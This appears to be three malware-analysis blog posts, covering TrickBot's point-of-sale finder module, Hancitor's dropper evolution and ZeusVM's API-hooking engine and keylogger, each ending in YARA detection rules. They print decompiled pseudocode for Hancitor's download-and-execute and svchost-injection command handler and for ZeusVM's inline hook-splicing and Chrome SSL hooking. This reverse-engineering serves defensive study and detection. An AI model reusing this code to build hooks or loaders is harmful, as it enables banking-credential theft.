Let’s Learn: Introducing Latest TrickBot Point-of-Sale Finder Module

Goal: Analyze the latest TrickBot point-of-sale finder“psfin32” reconnaissance module hunting for point of sale related services, software, and machines in Lightweight Directory Access Protocol (LDAP)
Source:
Unpacked TrickBot psfin32 Module 32-Bit (x86) (MD5: 4fce2da754c9a1ac06ad11a46d215d23)
Outline

I. Background
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86)
III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis
IV. TrickBot Point-of-Sale Finder Module LDAP Analysis
V. TrickBot Point-of-Sale Finder Module POST Command
IV. Yara Signature

I. Background
This is not the first time the TrickBot development group leverages LDAP; they also developed a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier. The group behind the TrickBot malware development remains to be one of the most resourceful in the e-crime ecosystem continuously releasing various modules (for example. password grabber “pwgrab32Dll” on October 19, 2018). The module itself does not steal any point-of-sale data but rather used to profile corporate machines of interest with possible point-of-sale devices. This module arrives just in time for the holiday shopping season highlighting the group interest in exploring possible point-of-sale breaches. The question is: What point-of-sale malware would the group behind TrickBot deploy on identified machines of interest, and/or would they auction this access to another group? This question is yet to be answered.
II. Decoded TrickBot Point-of-Sale Finder “psfin32” Module 32-Bit (x86) 

This tiny “psfin32” module DLL with the size of 18.13 KB (18568 bytes), compiled on Monday, November 5, 09:00:47 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 24 functions.
The decoded Trickbot “pfin32Dll” module contains the usual Trickbot export functions:

Control
FreeBuffer
Release
Start

III. TrickBot Point-of-Sale Finder Module vs DomainGrabber Module: Code Analysis

The latest module consists visually a lot of similarity to their previous DomainGrabber module. During pseudo source-code level analysis, it is revealed that the code contains 6 partial function matches (including perfect match and strongly connected components), 17 unreliable function matches (including same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count). By and large, the pseudo source-code analysis reveals the new module heavily borrows from the earlier DomainGrabber code and was likely coded by the same developer(s).
IV.  TrickBot Point-of-Sale Finder Module LDAP Analysis
This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs to search LDAP for objects possibly linked to point of sale related services, software, and machines. To learn more about specific access ADsOpenObject and IADsContainer  interface, please refer to the DomainGrabber post.
LDAP provider is used to access Active Directory Domain Services. The LDAP binding string takes the following form of “GC://” binding to the root of the namespace. “GC:” uses the LDAP provider to bind to the Global Catalog service to execute queries.
The module queries for DOMAIN Global Catalog the following accesses:

COMPUTERS
USERS
GROUPS
SITES
OUs

The point-of-sale key terms of interest are as follows:

*POS*
*REG*
*CASH*
*LANE*
*STORE*
*RETAIL*
*BOH*
*ALOHA*
*MICROS*
*TERM*

V.  TrickBot Point-of-Sale Finder Module POST Command
Once the information is harvested, the “Log” file with the information would be posted to the TrickBot to “Dpost” servers via “/%s/%s/90” command.

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:

A. Content-Disposition: form-data; name="proclist"
B. Content-Disposition: form-data; name="sysinfo"
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7” appears to be a marker/separator for the LDAP query collection upload to split the harvested information.
IV. Yara Signature

import "pe"

rule crime_win32_trickbot_psfin32_dll {
meta:
author = "@VK_Intel"
reference = "Detects TrickBot Point-of-Sale Finder Module"
date = "2018-11-07"
hash1 = "f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96"
strings:
$s0 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" fullword wide
$s1 = "Dpost servers unavailable" fullword ascii
$s2 = "USERS:" fullword wide
$s3 = "*POS*" fullword wide
$s4 = "/%s/%s/90" fullword wide
$s5 = "DOMAIN GC" fullword wide
$s6 = "*MICROS*" fullword wide
$s7 = "(&(objectCategory=person)(sAMAccountName=%s))" fullword wide

$ldap_gc_pos_queryportion = { 85 f6 0f ?? ?? ?? ?? ?? 8b ?? ?? 8d ?? ?? ?? ?? ?? 6a 04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? 52 50 ff ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 68 84 45 00 10 57 e8 ?? ?? ?? ?? 68 a0 45 00 10 57 e8 ?? ?? ?? ?? 68 24 46 00 10 57 e8 ?? ?? ?? ?? ba 40 46 00 10 b9 e0 44 00 10 e8 ?? ?? ?? ?? 50 68 4c 46 00 10 57 e8 ?? ?? ?? ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 50KB and
pe.imphash() == "13c48c2a1eaa564e28ee00ed7cd0fc0f" and pe.exports("Control") and pe.exports("Release") and
( all of them )
) or ( $ldap_gc_pos_queryportion and 5 of ($s*) )
}

Let’s Learn: In-Depth Reversing of Hancitor Dropper/Loader: 2016 vs 2018 Malware Progression

Goal: Analyze the latest Hancitor variant (build “25xce10″) to determine dropper and downloader malware progression in time from 2016 to the latest version in 2018.
Source:
Original Packed Hancitor Loader 32-Bit (x86) (MD5: 0cabdc2d4b83cd8b210fd2bd15d54bdc)
Unpacked Hancitor Dropper & Loader 32-Bit (x86) (MD5: fc7748f302a1566c27568e094873817a)

Outline

I. Background
II. Original Packed Hancitor Loader 32-Bit (x86)
III. Unpacked Hancitor Dropper & Loader 32-Bit (x86)
A. Hancitor MainThreadProcessor
B. Hancitor SystemInfo Generation
C. Hancitor RC4 CryptDecrypt Routine
IV. Yara Signature

I. Background
The group behind Hancitor distribution campaigns remains to be one of the more resourceful and sophisticated cybercrime loader-as-a-service group delivering various payloads – ranging from simple credential stealer malware to point-of-sale and banking malware variants (from Pony Stealer, EvilPony Stealer, AZORult Stealer to Neverquest Banker, Panda Banker, Gozi ISFB Banker, and Danabot Banker).
One of the most interesting malware analysis revolves around source code-level analysis malware development progression in time. I highly recommend reading this article on Hancitor titled “A Closer Look At Hancitor” written by Nick Hoffman and Jeremy Humble. I will utilize the malware sample from this article to compare against one of the latest Hancitor variants (h/t to @malware_traffic for the latest sample). Additionally, I recommend reading @benkow_’s blog titled “Hancitor Panel Overview” to learn more about the Hancitor panel.
II. Original Packed Hancitor Loader 32-Bit (x86)

The Hancitor malspam email chain included the first-stage loader as a malicious Microsoft Word document requiring a victim to enable macros to view the fax message as if it is from a legitimate company HelloFax.

III. Unpacked Hancitor Dropper & Loader 32-Bit (x86)

By and large, while the group behind the malware is rather experienced and persistent, the Hancitor dropper remains to be a simple and unsophisticated dropper and loader type of malware that comes with little development from 2016. Some of the notable lack of development and adjustment includes its reliance on ANSI API calls as well as unsophisticated WriteProcessMemeory injection method, modified %TEMP% run method with joined function on CreateProcessA rather than as a separate function, absence of Winhost32.exe check logic and its derivative functions, additional error check on CreateProcessA and exception handling, improved parser function before WriteProcessMemory injection, joined injection function, no deletion logic, different initial and entry function.
The reviewed 2016 Hancitor dropper version contains 66 functions with the size of 20.00 KB (20480 bytes), while the latest 2018 Hancitor version consists of 51 functions with the size of 20.50 KB (20992 bytes). During pseudo source-code level analysis, it is revealed that the code contains 8 partial function matches (including perfect match, same MD index and constants, strongly connected components, and similar small pseudo-code), 34 unreliable function matches (including perfect match, same MD index and constants, strongly connected components, similar small pseudo-code, strongly connected components small-primes-product, and loop count).
The notable differences include the absence of the connectivity check in the latest version. For example, the 2016 version contained tried to see if it can reach google.com as part of its logic. Moreover, the 2016 version did not contain the RC4 encryption with RtlDecompressBuffer API call to decode the next stage as opposed to the 2018 variant. The “e” command appears to be a new one relative to the 2016 version.
A. Hancitor MainThreadProcessor
In this case, I am looking into the Hancitor build “25xce10”. The Hancitor malware receives multiple commands that it leverages for parsing and executing additional steps. The commands and their execution are separated by “:”, and the URLs, for example, are separated with “|” symbol. 

Hancitor has logic to parse the following commands:










CommandDescription
"r"Download and execute .DLL or .EXE
"l"Download and execute .EXE in separate thread (arg=1)
"e"Download and execute .EXE in separate thread (arg=0)
"b"Download and inject code into svchost.exe
"d"N/A (not implemented; used to delete itself in older version)
"c"N/A (not implemented)
"n"N/A (not implemented)

The full pseudo-coded Hancitor main command processor function is as follows:
////////////////////////////////////////////////////////////////////////////////
//////////// Hancitor MainThreadProcessor //////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
signed int __cdecl HancitorMainCommandProcessor(int cmd, signed int *a2)
{

if ( *(_BYTE *)(a1 + 1) == ':' )
{
switch ( *(_BYTE *)cmd )
{
case 'r':
// "r" command -> download and execute .DLL or .EXE
// if .DLL -> via rundll32.exe, $s,f1 in %TEMP% or if .EXE -> CreateProcessA

*a2 = RtlDecompressBuffer_GetTemp_rundll32(cmd + 2);
return 1;
case 'l':
// "l" command -> download and execute .EXE in separate thread (arg=1)
// check for "MZ" header, call VirtualAlloc and/or dynamic API resolution

v3 = RtlDecompress_CreateThread(cmd + 2, 1);
goto LABEL_5;
case 'e':
// "e" command -> download and execute .EXE in separate thread (arg=0)
// check for "MZ" header, call VirtualAlloc and/or dynamic API resolution

v3 = RtlDecompress_CreateThread(cmd + 2, 0);

LABEL_5:
*a2 = v3;
result = 1;
break;
case 'b':
// "b" command -> download and inject code into svchost.exe
// check for "MZ" header, call allocate memory and write code into the memory

*a2 = RtlDecompressBuffer_Call_svchost_injection(cmd + 2);
result = 1;
break;
case 'n':
// "n" command -> no processor for this command

*a2 = 1;
result = 1;
break;
default:
goto LABEL_9;
}
}
else
{
LABEL_9:
result = 0;
}
return result;
}

B. Hancitor SystemInfo Generation
By and large, the Hancitor malware collects generic information regarding the host that includes various information filled into the formatted collector string:

GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x32|64)

The shortened pseudo-coded C++ Hancitor SystemInfo function is as follows:
////////////////////////////////////////////////////////////////////////////////
//////////// Hancitor MainThreadProcessor //////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
signed int __cdecl SystemInfo(int a1, int a2, int a3)
{
version_ret = GetVersion();
bot_id = qword_1E6178;
win_version = version_ret;
build_bot_1 = HIDWORD(qword_1E6178);
if ( !qword_1E6178 )
{
LODWORD(v7) = Adapteers_GetWindowsDirectoryA();
build_bot_1 = HIDWORD(v7);
bot_id = v7;
qword_1E6178 = v7;
}
GetComputerNameA_0((signed int)&comp_name);
ExternalAPI_resolution(v8, bot_id, (int)&external_ip);
win_version_1 = (unsigned __int8)win_version;
check_if_x64 = GetNativeSystemInfo() == 1;
comp_name_info = pbData_1;
if ( check_if_x64 )
{
if ( !pbData_1 )
{
pbData_1 = GetProcessHeap_0(0x2000);
func1(pbData_1, (char *)&unk_1E4018, 0x2000);
Crypto_func(pbData_1, 0x2000, (int)&pbData_key, 8);
comp_name_info = pbData_1;
}
wsprintfA(
&formatted_systeminfo,
"GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)",
bot_id,
build_bot_1,
comp_name_info,
&comp_name,
&external_ip,
win_version_1,
HIBYTE(win_version));
}

C. Hancitor RC4 CryptDecrypt Routine

The Hancitor dropper heavily utilizes RtlDecompressBuffer and Crypto API to decrypt its payloads. Rather than relying on custom decryption, the malware simply implements the RC4 decryption logic.

IV. Yara Signature

import "pe"

rule crime_win32_hancitor_dropper {
meta:
author = "@VK_Intel"
reference = "Detects Hancitor Dropper/Loader"
date = "2018-11-04"
hash1 = "c61f929981c573e43dd08f0c5a047ba3a3167436b493df819461d4e7953a91ed"
strings:
$s1 = "Rundll32.exe %s,f1" fullword ascii
$s2 = "explorer.exe" fullword ascii
$s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
$s4 = "GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" fullword ascii
$s5 = "GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)" fullword ascii
$s6 = "http://api.ipify.org" fullword ascii
$s7 = "Content-Type: application/x-www-form-urlencoded" fullword ascii

$crypt_sysfunction = { 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 0f b6 c3 83 c4 08 c1 eb 08 89 ?? ?? 0f b6 db e8 ?? ?? ?? ?? 83 f8 01 a1 ?? ?? ?? ?? 75 ?? 85 c0 75 ?? 68 00 20 00 00 e8 ?? ?? ?? ?? 68 00 20 00 00 68 18 40 1e 00 50 a3 ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 08 68 10 40 1e 00 68 00 20 00 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? a1 ?? ?? ?? ?? 83 c4 20}

$external_ip_resolution = { 55 8b ec 51 80 ?? ?? ?? ?? ?? ?? 75 ?? 8d ?? ?? 50 6a 20 68 80 61 1e 00 68 c4 31 1e 00 e8 ?? ?? ?? ?? 83 c4 10 83 f8 01 75 ?? 8b ?? ?? c6 ?? ?? ?? ?? ?? ?? 68 80 61 1e 00 ff ?? ?? ff ?? ?? ?? ?? ?? b8 01 00 00 00 8b e5 5d c3 68 dc 31 1e 00 ff ?? ?? c6 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 33 c0 8b e5 5d c3}

$main_cmd_processor = { 55 8b ec 8b ?? ?? 80 ?? ?? ?? 75 ?? 0f ?? ?? 83 c0 9e 83 f8 10 77 ?? 0f ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 04 89 ?? b8 01 00 00 00 5d c3 6a 01 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 08 89 ?? b8 01 00 00 00 5d c3 6a 00 eb ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? 8b ?? ?? 83 c4 04 89 ?? b8 01 00 00 00 5d c3 8b ?? ?? c7 ?? ?? ?? ?? ?? b8 01 00 00 00 5d c3 33 c0 5d c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 60KB and
pe.imphash() == "9ea0470ccffd0a7ac8dd70e0968d3e95" and
( all of them )
or 5 of ($s*) and ( $main_cmd_processor ) or ( $crypt_sysfunction and $external_ip_resolution ) )
}

Let’s Learn: Exploring ZeusVM Banking Malware Hooking Engine

Goal: Analyze and reverse one of the latest ZeusVM variants with the special attention to its main client module and its keylogger component.

https://platform.twitter.com/widgets.js

Source:
Original Packed Loader 32-Bit (x86) (MD5: 649d7732a28818947146070b6959fbd9)
Client 32-Bit Executable (x86) (MD5: f024f3ec18de88a7745b5f3a90c69a31)
Keylogger “klog” Executable 32-Bit (x86)(MD5: 3ef2632c2476c33def2c51b0e383cab1)
Outline
I. Background
II. ZeusVM Banker: Client 32-Bit Executable (x86)
III. Hooking Engine EnterHook
A. MainHook API Logic
B. EnterHook
C. Hooked API calls
1. TlsGetValue API Hook
2. “CreateProcessNotifyApi" Hook and Other Kernel32/Wininet API Hooks
3. Mozilla Firefox API Hook
4. Google Chrome SSL Hook
D. ExitHook
IV. ZeusVM Keylogger Executable
A. Keylog “Init” Function
B. Keylog Take Screenshot Function
V. Yara Signature
A. ZeusVM Client Version
B. ZeusVM Keylogger Component
VI. Indicators of Compromise (IOCs)
VII. Addendum: Hooked API Calls
Background
This latest binary of the ZeusVM banking malware was initially identified by @Racco42 and tagged by @James_inthe_box. Before diving deeper into this malware variant, I highly recommend reading Dennis Schwartz’ report titled “ZeusVM: Bits and Pieces.” The focus of this report is to explore the ZeusVM banking malware hooking and engine.
Malware Analysis

The ZeusVM client consists of 903 functions with the size of 229.50 KB (235008 bytes). The original Zeus client consisted of 558 functions with the size of 138.00 KB (141312 bytes). Leveraging the Diaphora plugin, it was identified that there are 371 function best matches (including function hash, bytes hash, perfect match, equal pseudo-code, equal assembly, same rare MD index), 130 function partial matches (including mnemonics same-primes-product, callgraph match, pseudo-code fuzzy hash, same constants, similar small pseudo-code), 55 function unreliable matches (including strongly connected components and same-primes-product), and 345 function unmatched matches in the latest ZeusVM as compared to the leaked Zeus 2.0.8.9 client. The ZeusVM is, by and large, an evolution of the leaked Zeus variant. The ZeusVM binary adds various dynamic API loading methodology with the additional features (e.g., Google Chrome API hooking).

III. Hooking Engine
The ZesVM malware employs API hook splicing technique to intercept API calls of interest by inserting a jump instruction. ZeusVM hooking engine is leveraged to hook various browser and other API for information-stealing purposes.

A. HookAPI
The hooking engine of the malware is char type HookAPI one taking five parameters to hook API calls of interest. The function allocates memory and sets up proper protections and calls two additional functions that I describe as “EnterHook” and “ExitHook” ones.
The HookAPI function sequence -> checks if the function is at the base address ->  “AllocateBuffer” (via VirtualAlloc API call) -> “EnterHook” setting up the trampoline and splicing the call -> “ExitHook” function.
The pseudo-coded ZeusVM HookiAPI function is as follows: 
//////////////////////////////////////////////////
//////////// ZeusVM HookAPI Function /////////////
//////////////////////////////////////////////////

char __stdcall HookAPI(HANDLE hProcess, DWORD flOldProtect, int a3, LPVOID lpBaseAddress, int a5)
{
v5 = a3;
if ( (LPVOID)a3 != lpBaseAddress || !VirtualAlloc_func(a3, hProcess, (int)&lpBaseAddress, (int)&a3) )
return 0;
v7 = 0;
if ( v5 )
{
v8 = a3;
v9 = flOldProtect + 8;
while ( *(_DWORD *)(v9 - 8) )
{
*(_DWORD *)(v9 + 4) = v8;
*(_DWORD *)v9 = 0;
*(_BYTE *)(v9 + 8) = 0;
++v7;
v8 += 0x37;
v9 += 0x14;
if ( v7 >= v5 )
goto LABEL_8;
}
result = 0;
}
else
{
LABEL_8:
v10 = (char *)lpBaseAddress;
if ( lpBaseAddress )
{
a3 = 0;
if ( v5 > 0 )
{
originalFunction = flOldProtect + 4;
do
{
v12 = EnterHook(
hProcess,
originalFunction - 4,
*(_DWORD *)originalFunction,
v10,
*(LPVOID *)(originalFunction + 8));
if ( !v12 )
break;
*(_DWORD *)(originalFunction + 4) = v10;
v10 += v12;
++a3;
*(_BYTE *)(originalFunction + 12) = v12;
originalFunction += 20;
}
while ( a3 < v5 );
}
if ( a3 == v5 )
return 1;
ExitHook(hProcess, flOldProtect, v5);
}
result = 0;
}
return result;
}
B. EnterHook
The “EnterHook” function is the SIZE_T type taking 5 parameters. ZeusVM enables its hooks as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
//////////////////////////////////////////////////
//////////// ZeusVM EnterHook Function /////////////
//////////////////////////////////////////////////
SIZE_T __stdcall EnterHook(HANDLE hProcess, int functionForHook, \
int hookerFunction, LPVOID lpBaseAddress, LPVOID originalFunction)
{

v5 = *(_DWORD *)functionForHook;
v6 = 0;
v19 = 0;
memset(&Buffer, 0x90, 0x28u);
memset(&v15, 0x90, 0x37u);
while ( 1 )
{
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) < 5 )
return 0;
if ( ((int (__stdcall *)(int, _DWORD))loc_433710)(v5, 0) != 2 || *(_BYTE *)v5 != -21 )
break;
v5 += *(_BYTE *)(v5 + 1) + 2;
}
if ( VirtualQuery_checkAvalibleBytes((_BYTE *)v5, hProcess) >= 0x1E
&& VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, 0x40u, &flOldProtect) )
     // Set up proper execution access
{
if ( ReadProcessMemory(hProcess, (LPCVOID)v5, &Buffer, 0x1Eu, 0) )
    // Read the original function code
{
v8 = 0;
for ( i = (char *)&Buffer; ; i = (char *)(&Buffer + v8) )
{
v10 = ((int (__stdcall *)(char *, _DWORD))loc_433710)(i, 0);
if ( v10 == 0xFFFFFFFF )
break;
v8 += v10;
if ( v8 > 0x23 )
break;
if ( v8 >= 5 )
{
nSize = v8;
v22 = 0;
do
{
v11 = (char *)(&Buffer + v22);
v12 = ((int (__stdcall *)(unsigned __int8 *, _DWORD))loc_433710)(&Buffer + v22, 0);
v13 = *v11;
            if ( *v11 != 0xE9u && v13 != 0xE8u || v12 != 5 )
       
{
qmemcpy(&v15 + v6, v11, v12);
v6 += v12;
}
else
{
*(&v15 + v6) = v13;
*(int *)((char *)&v16 + v6) = v5 + v22 + *(_DWORD *)(v11 + 1) - v6 - (_DWORD)a5;
v6 += 5;
}
v22 += v12;
}
while ( v22 != nSize );
if ( WriteProcessMemory(hProcess, lpBaseAddress, &Buffer, nSize, 0) )
{
*(int *)((char *)&v16 + v6) = nSize - v6 - (_DWORD)a5 + v5 - 5;
*(&v15 + v6) = 0xE9u;
if ( WriteProcessMemory(hProcess, a5, &v15, v6 + 5, 0) )
{
v18 = hookerFunction - v5 - 5;
v14 = *(_DWORD *)functionForHook;
Buffer = 0xE9u;
            // "0xE9" -> opcode for a jump with a 32bit relative offset
              NtCreateThread_func(v14, (int)a5);
if ( WriteProcessMemory(hProcess, (LPVOID)v5, &Buffer, 5u, 0) )
v19 = nSize;
}
}
break;
}
}
}
VirtualProtectEx(hProcess, (LPVOID)v5, 0x1Eu, flOldProtect, &flOldProtect);
}
*(_DWORD *)functionForHook = v5;
return v19;
}
C. ZeusVM Hooked API
The “EnterHook” function is the SIZE_T type taking 5 parameters. The function employs VirtualQuery to check for available bytes, sets up proper execution access, reads the original API function and overwrites it with the 0xe9, which is an opcode for a jump with a 32-bit relative offset. This similar technique is used in many malware variants (including Ramnit, Gozi ISFB, Panda, and others).

1. TlsGetValue Hook

ZeusVM just like the leaked Zeus 2.0.8.9 sets up a function hook for TlsGetValue API call to intercept child process flags.
2. “CreateProcessNotifyApi” Hook and Other Kernel32/Wininet Hooks
The malware sets up a plethora of various process and information specific API calls that were originally called “corehook” in the original Zeus 2.0.8.9. Again, this malware simply borrows the previous ZeusVM exact API hooks.
////////////////////////////////////////////////////////////////////////////////
//////////// ZeusVM CreateProcessNotifyApi and Other Function Hook /////////////
////////////////////////////////////////////////////////////////////////////////
int (__stdcall *NtCreateUserProcess)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD);
WCHAR pszPath;

NtCreateUserProcess = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
_DWORD, _DWORD, _DWORD))::NtCreateUserProcess;
if ( ::NtCreateUserProcess )
{
dword_43825C = (int)sub_41B216;
}
else
{
NtCreateUserProcess = NtCreateThread;
dword_43825C = (int)sub_41B160;
}
...
dword_438564 = (int)TranslateMessage;
dword_438578 = (int)GetClipboardData;
dword_43858C = (int)PFXImportCertStore;
dword_438018 = (int)HttpSendRequestW;
dword_438058 = (int)HttpSendRequestA;
dword_438098 = (int)HttpSendRequestExW;
dword_4380D8 = (int)HttpSendRequestExA;
dword_438118 = (int)InternetCloseHandle;
dword_438158 = (int)InternetReadFile;
dword_438198 = (int)InternetReadFileExA;
dword_4381D8 = (int)InternetQueryDataAvailable;
dword_438218 = (int)HttpQueryInfoA;
if ( !SHGetFolderPathW(0, 0x25, 0, 0, &pszPath) )
{
PathRemoveBackslashW(&pszPath);
PathCombineW_func(L"wininet.dll", &pszPath, &pszPath);
sub_42E9C6(&pszPath);
}
return HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&NtCreateUserProcess_0, 0x2A, (LPVOID)0x2A, 1);
3. Mozilla Firefox API Hook
As usual, the malware sets up browser-specific Mozilla Firefox API hooks.

4. Google Chrome SSL Hook
While it is relatively easy to find and hook DLL exported functions: “PR_Read” and “PR_Write” in the Mozilla Firefox browser, it is much more complicated to do the same for Google Chrome, wherein the functions “SSL_Read” and “SSL_Write” functions are not exported in the same fashion. The hooking algorithm necessitates walking the Google Chrome “boringssl” chrome.dll’s ‘.rdata’ section to locate the necessary functions. For more information, please review this helpful article on the exact methodology.

The pseudo-coded C++ is as follows:
/////////////////////////////////////////////////////////
//////////// ZeusVM Google Chrome Hooks ///////////////
////////////////////////////////////////////////////////
char __stdcall ChromeSSLHook(int a1)
{
int v1;
char result;
char v3;
v1 = SearchforChrome_rdata(a1);
if ( v1 )
{
dword_438604 = *(_DWORD *)(v1 + 4);
dword_438618 = *(_DWORD *)(v1 + 8);
dword_43862C = *(_DWORD *)(v1 + 12);
v3 = HookAPI((HANDLE)0xFFFFFFFF, (DWORD)&dword_438604, 3, (LPVOID)3, 1);
if ( v3 )
sub_42F2FB(a1, dword_438610, dword_438624, dword_438638);
result = v3;
}
else
{
result = 0;
}
return result;
}
D. ExitHook
The malware’s ExitHook function simply returns the permissions and protection and function previous state before the hook via the following sequence:
checkAvalibleBytes -> VirtualProtectEx -> WriteProcessMemory (with original function) -> VirtualProtectEx.
IV. Keylogger Executable
ZesVM malware also drops its own primitive keylogger with screenshot capabilities. The total executable is 6.00 KB (6144 bytes); its own internal name is “keylogger.exe,” and it contains 8 functions with the export functions “Init” and “Uninit.”

A. Keylog “Init” Function & “TakeScreenshot” Function
The keylogger logic is unsophisticated formatting the keylogged data formatting as “KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d” and the grabbed screenshots formatting as “KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d.”

V.Yara Signature

A. ZeusVM Client Version
import "pe"

rule crime_win32_zeusvm_client_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM client"
date = "2018-10-29"
hash1 = "4d2705b74f7648fdf741f87e4eee9a71c823ac649d53dd5715cb3a6b6d0b6c10"
strings:
$s0 = "http://www.google.com/webhp" fullword ascii
$s1 = "bcdfghjklmnpqrstvwxzaeiouy" fullword ascii
$s2 = "FIXME" fullword ascii
$s3 = "vnc" fullword ascii
$s4 = "socks" fullword ascii
$xor_decode = { 0f b7 c0 8d ?? ?? ?? ?? ?? ?? 33 d2 33 c9 66 ?? ?? ?? 73 ?? 56 8b ?? ?? 0f b7 f1 8a ?? ?? 32 ?? 32 d1 41 88 ?? ?? 66 ?? ?? ?? 72 ?? 5e 0f ?? ?? ?? c6 ?? ?? ?? c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 700KB and
pe.imphash() == "97cdaa72c3f228ec37eb171715fe20ca" and
( all of them )
) or ( all of them )
}

B. ZeusVM Keylogger Component

import "pe"


rule crime_win32_zeusvm_keylogger_component_banker {
meta:
author = "@VK_Intel"
reference = "Detects ZeusVM Keylogger Component"
date = "2018-10-29"
hash1 = "58cea503342f555b71cc09c1599bb12910f193109bd88d387bca44b99035553f"
strings:
$s1 = "keylog.exe" fullword ascii
$s2 = "KLog\\screen\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
$s3 = "KLog\\file\\%04d.%02d.%02d.%02d.%02d.%02d.%02d_%05d" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 20KB and
pe.imphash() == "ea04b0c46651d6d5ecb1bc99e6050fd8" and pe.exports("Uninit") and
( all of them )
) or ( all of them )
}
VII. Addendum: Hooked API Calls
*following the same Zeus 2.0.8.9 convention*
Core Hook API
  {NULL, CoreHook::hookerLdrLoadDll,                    NULL, 0},
{NULL, CoreHook::hookerNtQueryDirectoryFile, NULL, 0},
  {NULL, CoreHook::hookerNtCreateFile,                  NULL, 0},
{NULL, CoreHook::hookerGetFileAttributesExW, NULL, 0},

Wininet Hook API

  {NULL, WininetHook::hookerHttpSendRequestW,           NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestA, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExW, NULL, 0},
{NULL, WininetHook::hookerHttpSendRequestExA, NULL, 0},
{NULL, WininetHook::hookerInternetCloseHandle, NULL, 0},
{NULL, WininetHook::hookerInternetReadFile, NULL, 0},
{NULL, WininetHook::hookerInternetReadFileExA, NULL, 0},
{NULL, WininetHook::hookerInternetQueryDataAvailable, NULL, 0},
{NULL, WininetHook::hookerHttpQueryInfoA, NULL, 0},

Sock Hook API

  {NULL, SocketHook::hookerCloseSocket,                 NULL, 0},
{NULL, SocketHook::hookerSend, NULL, 0},
{NULL, SocketHook::hookerWsaSend, NULL, 0},

VNC Server Hook API

  {NULL, VncServer::hookerOpenInputDesktop,             NULL, 0},
{NULL, VncServer::hookerSwitchDesktop, NULL, 0},
{NULL, VncServer::hookerDefWindowProcW, NULL, 0},
{NULL, VncServer::hookerDefWindowProcA, NULL, 0},
{NULL, VncServer::hookerDefDlgProcW, NULL, 0},
{NULL, VncServer::hookerDefDlgProcA, NULL, 0},
{NULL, VncServer::hookerDefFrameProcW, NULL, 0},
{NULL, VncServer::hookerDefFrameProcA, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcW, NULL, 0},
{NULL, VncServer::hookerDefMDIChildProcA, NULL, 0},
{NULL, VncServer::hookerCallWindowProcW, NULL, 0},
{NULL, VncServer::hookerCallWindowProcA, NULL, 0},

{NULL, VncServer::hookerRegisterClassW, NULL, 0},
{NULL, VncServer::hookerRegisterClassA, NULL, 0},
{NULL, VncServer::hookerRegisterClassExW, NULL, 0},
{NULL, VncServer::hookerRegisterClassExA, NULL, 0},

{NULL, VncServer::hookerBeginPaint, NULL, 0},
{NULL, VncServer::hookerEndPaint, NULL, 0},
{NULL, VncServer::hookerGetDcEx, NULL, 0},
{NULL, VncServer::hookerGetDc, NULL, 0},
{NULL, VncServer::hookerGetWindowDc, NULL, 0},
{NULL, VncServer::hookerReleaseDc, NULL, 0},
